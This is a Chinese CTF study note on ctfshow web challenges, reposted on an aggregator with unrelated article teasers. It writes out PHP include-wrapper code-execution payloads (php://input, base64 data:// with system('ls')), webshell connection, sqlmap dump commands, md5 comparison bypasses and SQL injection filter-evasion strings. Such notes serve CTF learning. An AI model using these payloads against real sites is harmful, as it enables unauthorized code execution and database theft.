ctfshow——web(总结持续更新)

文章目录

  • 1、基础知识部分
  • 2、php伪协议
    • 2.1 php://input协议
    • 2.2 data://text/plain协议
  • 3、webshell连接工具
    • 3.1 蚁剑连接一句话木马
  • 4、各个web中间件重要文件路径
    • 4.1 Nginx
  • 5、sqlmap使用
  • 6、php特性
    • 6.1 md5加密漏洞
  • 7、TOP 10漏洞
    • 7.1 SQL注入

1、基础知识部分

  1. 识别base64编码:大小写+数字,偶尔最后几位是= or ++

2、php伪协议

2.1 php://input协议

关于php://input,简单来说:当php://inputinclude连用时,数据包中的post字段将会当做php代码执行。

# 查看当前目录下的文件
# GET传参
?url=php://input
# POST
<?php system("ls");?>  

2.2 data://text/plain协议

关于data://text/plain,简单来说:当data://text/plaininclude连用时,data://text/plain后面接着的数据会被当做php代码执行。

?url=data://text/plain,<?php system('ls');?> # 
?url=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8+ # <?php system('ls');?>的bash64加密形式

3、webshell连接工具

3.1 蚁剑连接一句话木马

如果蚁剑报错:unable_to_verify_leaf_signature,是证书的原因,目前的解决方法是将URL中的https改为http。
在这里插入图片描述

4、各个web中间件重要文件路径

4.1 Nginx

# Linux
/var/log/nginx/access.log # linux下,nginx访问日志文件默认路径# windows
C:\Program Files\Nginx\logs\access.log # Windows下,nginx访问日志文件默认路径
<Nginx安装目录>/logs/access.log# Windows下,nginx访问日志文件自定义安装路径

5、sqlmap使用

sqlmap常用命令:

python3 sqlmap.py -r test.txt # 在存在sql注入漏洞的参数后面加*
python3 sqlmap.py -r test.txt --dbs  #--dbs选项是列出所有数据库名
python3 sqlmap.py -r test.txt -D web2 --tables # web2数据库的所有表名
python3 sqlmap.py -r test.txt -D web2 -T flag --columns # web2数据库的falg表的所有字段
python3 sqlmap.py -r test.txt -D web2 -T flag -C flag --dump # web2数据库的falg表的所有字段内容# 使用--tamper脚本,将空格转换为内联注释符
python3 sqlmap.py -r test.txt --tamper space2comment # 在存在sql注入漏洞的参数后面加*# 判断是否存在SQL注入
python3 sqlmap.py -u https://98b59309-13c0-4091-9683-af3ebc38f310.challenge.ctf.show/index.php?id=1 -p "id" --tamper space2comment # -p指定参数

6、php特性

6.1 md5加密漏洞

  1. md50e漏洞:就是说在使用md5()==进行变量比较的时候,只要左右两边的字符串经过md5()加密后,都是以0e开头的字符串,那么左右两边将会相等。
  2. 当使用md5()===进行变量对比的时候, 使用数组可以绕过md5()函数的检测。

7、TOP 10漏洞

7.1 SQL注入

SQL注入常见的测试方法就是:

  • 在参数后面加个',看返回包是否报错;
  • 使用万能密码1' or 1=1 --+,看返回包有没有反应。

SQL注入绕过:

# 空格被过滤
username=1'or(true)#  # 用(true)代替1=1
username=1'/**/or/**/1=1/**/#  # 用内联注释(/**/)代替空格经过测试过滤了空格,所以用内敛注释进行绕过
id=1'/**/and/**/1=1/**/#      正常返回
id=1'/**/and/**/1=2/**/#      数据未返回,存在SQL注入或者
id=1'/**/and/**/(true)/**/#      正常返回
id=1'/**/and/**/(false)/**/#      数据未返回,存在SQL注入或者
id=1'/**/or/**/(false)#  返回一条数据
id=1'/**/or/**/(true)#  返回当前表里的所有数据

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/462137.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

FineReport 倒计时特效

1、代码准备 将下面的代码生成对应文件 1.1、zzsc.js 这段代码是一个JavaScript计时器脚本&#xff0c;用于计算从当前时间到第二天午夜&#xff08;即0点&#xff09;之间的时间差&#xff0c;并将这个时间差显示在网页上的特定元素中。具体来说&#xff0c;它会实时更新页…

【Linux】编辑器vim 与 编译器gcc/g++

目录 一、编辑器vim&#xff1a; 1、对vim初步理解&#xff1a; 2、vim的模式&#xff1a; 3、进入与退出&#xff1a; 4、vim命令模式下的指令集&#xff1a; 移动光标&#xff1a; 删除&#xff1a; cv&#xff1a; 撤销&#xff1a; 其他&#xff1a; 5、vim底行模…

虚拟机 Ubuntu 扩容

文章目录 一、Vmware 重新分配 Ubuntu 空间二、Ubuntu 扩容分区 一、Vmware 重新分配 Ubuntu 空间 先打开 Vmware &#xff0c;选择要重新分配空间的虚拟机 点击 编辑虚拟机设置 &#xff0c;再点击 硬盘 &#xff0c;再点击 扩展 选择预计扩展的空间&#xff0c;然后点击 扩展…

【搜索引擎】俄罗斯搜索引擎yandex

俄罗斯搜索引擎yandex 1997年&#xff0c;俄罗斯搜索引擎Yandex&#xff08;俄语意为&#xff1a;语言目录&#xff09;首次上线&#xff0c;已发展成为全球第四大搜索引擎和第二大非英语搜索引擎 https://yandex.com/

【深度学习】CrossEntropyLoss需要手动softmax吗?

【深度学习】CrossEntropyLoss需要手动softmax吗&#xff1f; 问题&#xff1a;CrossEntropyLoss需要手动softmax吗&#xff1f;答案&#xff1a;不需要官方文档代码解释 问题&#xff1a;CrossEntropyLoss需要手动softmax吗&#xff1f; 之前用 pytorch 实现自己的网络时&…

Uniapp的H5以及App不支持后端传FormData类型参数的解决方案

在uniapp中不支持FormData的传参&#xff0c;这就很恶心&#xff1b;如果强行传的话会提示&#xff0c;请求失败的报错信息。 因为后端必须要FormData类型的传参&#xff0c;所以在查阅一系列方案后&#xff0c;有一种解决办法可以完美解决。 代码&#xff1a; init() {const…

img 标签的 object-fit 属性

设置图片固定尺寸后&#xff0c;可以通过 object-fit 属性调整图片展示的形式 object-fit: contain; 图片的长宽比不变&#xff0c;相应调整大小。 object-fit: cover; 当图片的长宽比与容器的长宽比不一致时&#xff0c;会被裁切。 object-fit: fill; 图片不再锁定长宽…

机器人领域中的scaling law:通过复现斯坦福机器人UMI——探讨数据规模化定律(含UMI的复现关键)

前言 在24年10.26/10.27两天&#xff0c;我司七月在线举办的七月大模型机器人线下营时&#xff0c;我们带着大家一步步复现UMI「关于什么是UMI&#xff0c;详见此文&#xff1a;UMI——斯坦福刷盘机器人&#xff1a;从手持夹持器到动作预测Diffusion Policy(含代码解读)」&…

scala---10.30

val、var package com_1030class Person {var name:String"rose"def sum(n1:Int,n2:Int):Int{n1n2} } object Person{def main(args: Array[String]): Unit {//创建person对象var personnew Person()println(person.sum(10,20))//30println(person.name)person.nam…

Oracle与SQL Server的语法区别

1&#xff09;日期和日期转换函数。 SQL: SELECT A.*, CASE WHEN NVL(PAA009,) OR PAA009 >Convert(Varchar(10), SYSDATE,120) THEN Y ELSE N END AS ActiveUser FROM POWPAA A WHERE PAA001admin or PAA002admin Oracle: SELECT A.*, CASE WHEN NVL(PAA009,) or PAA009&…

让Chrome⽀持⼩于12px 的⽂字⽅式有哪些?区别?

让Chrome⽀持⼩于12px 的⽂字⽅式有哪些&#xff1f;区别&#xff1f; 1、背景 Chrome 中⽂版浏览器会默认设定⻚⾯的最⼩字号是12px&#xff0c;英⽂版没有限制 原由 Chrome 团队认为汉字⼩于12px就会增加识别难度 • 中⽂版浏览器 与⽹⻚语⾔⽆关&#xff0c;取决于⽤户在C…

慢即是快,少即是多

慢即是快 “慢即是快”是一种强调质量而非速度的哲学或策略。以下是它的一些应用和解释&#xff1a; 1. 精准与质量&#xff1a; - 通过慢工出细活&#xff0c;确保任务或项目的每个步骤都高质量完成&#xff0c;避免因匆忙带来的错误和返工。最终&#xff0c;虽然过程看似…

Hadoop期末复习(完整版)

前言&#xff08;全部为语雀导出&#xff0c;个人所写&#xff0c;仅用于学习&#xff01;&#xff01;&#xff01;&#xff01;&#xff09; 复习之前我们要有目的性&#xff0c;明确考什么&#xff0c;不考什么。 对于hadoop来说&#xff0c;首先理论方面是跑不掉的&#x…

微信小程序中,点击视频,没有跳转播放,可能是因为没有在app.json中正确注册视频播放页面的路径

const customMethodMap {handlePreview(e) {const { item: { url } } e?.currentTarget?.datasetconsole.log(Clicked item URL:, url); // 输出URLconst type url.split(.)[url.split(.)?.length - 1]console.log(File type:, type); // 输出文件类型console.log(isDoc(…

Effective C++ 学习笔记二

Effective C 学习笔记二 文章目录 Effective C 学习笔记二别让异常逃离析构函数绝不在构造和析构的过程中调用virtual函数令operator 返回一个reference to *this在operator中处理"自我赋值"C四种转换 别让异常逃离析构函数 C 并不禁止析构函数吐出异常&#xff0c;…

python如何安装扩展包

1、扩展包 Python安装额外的扩展包&#xff0c;一般使用anconda进行管理。 1、1安装命令 一般我们在anconda中通过pip install 包名 的方式进行安装&#xff0c;不过由于这些包在国外下载&#xff0c;因此需要配置合适的镜像促使其下载更快。 1、2 镜像源配置 1、2、1 一次…

Manus在虚拟现实仿真模拟中的应用案例分享

Manus虚拟现实手套作为一种高精度的人机交互设备&#xff0c;在仿真模拟领域展现出了巨大的应用潜力。通过提供实时、准确的手指动作捕捉数据&#xff0c;Manus手套为多个行业带来了前所未有的仿真体验&#xff0c;推动了技术发展和应用创新。 技术特点 1. 高精度手指跟踪 Ma…

查缺补漏----关于指令执行的题型

建议写完2009年&#xff0c;以及2015年对应题再看&#xff1a; 对于指令的执行要注意下面两点&#xff0c;理解了之后&#xff0c;题目都是非常套路化的&#xff1a; &#xff08;1&#xff09;读/写主存的指令与其他指令的书写不太一样&#xff1a; 读主存: 地址--->MAR M…

【Android】Java开发语言规范

Java语言规范 命名风格 **类名&#xff1a;**使用 UpperCamelCase 风格&#xff0c;必须遵从驼峰形式&#xff0c;但以下情形例外&#xff1a;DO / BO / DTO / VO / AO&#xff0c;所有单词的首字母大写**方法名、参数名、成员变量、局部变量&#xff1a;**统一使用 lowerCam…

SpringBoot【实用篇】- 配置高级

文章目录 目标&#xff1a;1.ConfigurationProperties2.宽松绑定/松散绑定3. 常用计量单位绑定4.数据校验 目标&#xff1a; ConfigurationProperties宽松绑定/松散绑定常用计量单位绑定数据校验 1.ConfigurationProperties ConfigurationProperties 在学习yml的时候我们了解…